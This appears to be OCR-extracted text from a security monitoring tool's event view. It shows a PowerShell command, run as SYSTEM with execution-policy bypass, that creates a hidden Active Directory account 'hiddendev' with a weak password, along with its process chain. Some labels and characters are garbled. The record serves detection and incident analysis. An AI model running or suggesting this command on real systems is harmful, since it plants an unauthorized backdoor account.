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Event Indicators
File Type | PowerShell Interactive

Details | powershell -exec bypass -Command "Import-Module ActiveDirectory; New-ADUser -Name ‘hiddendev' -SamAccountName ‘hiddendev’ -UserPrincipalName
‘hiddendev@caliway.com’ -AccountPassword (ConvertTo-SecureString "12345678" -AsPlainText -Force) -Enabled Strue”

14304
ing User | NT AUTHORITY\SYSTEM

Script Command | Import-Module ActiveDirectory; New-ADUser -Name ‘hiddendev’ -SamAccountName ‘hiddendev’ -UserPrincipalName ‘hiddendev@caliway.com’ -
AccountPassword (ConvertTo-SecureString '12345678" -AsPlainText -Force) -Enabled $true

| Path | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe \’;‘

mmand Line | powershell -exec bypass -Command "Import-Module ActiveDirectory; New-ADUser -Name ‘hiddendev’ -SamAccountName ‘hiddendev’ -
UserPrincipalName ‘hiddendev@caliway.com’ -AccountPassword (ConvertTo-SecureString ‘12345678 -AsPlainText -Force) -Enabled $true”

Process Chain
v (636) wininit.exe
Process Details

v (780) services.exe Parent PID | 13840

v (10088) cmd.exe PID | 14304

( ) Process Name | powershell.exe
v (13840) cmd.exe
Process Start Time | 12/22/2025 15:04:39

(14304) powershell.exe Duration | 109ms
Executing User | NT AUTHORITY\SYSTEM

Full Path | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe \j}\

Command Line | powershell -exec bypass -Command "Import-Module ActiveDirectory; N... \“g
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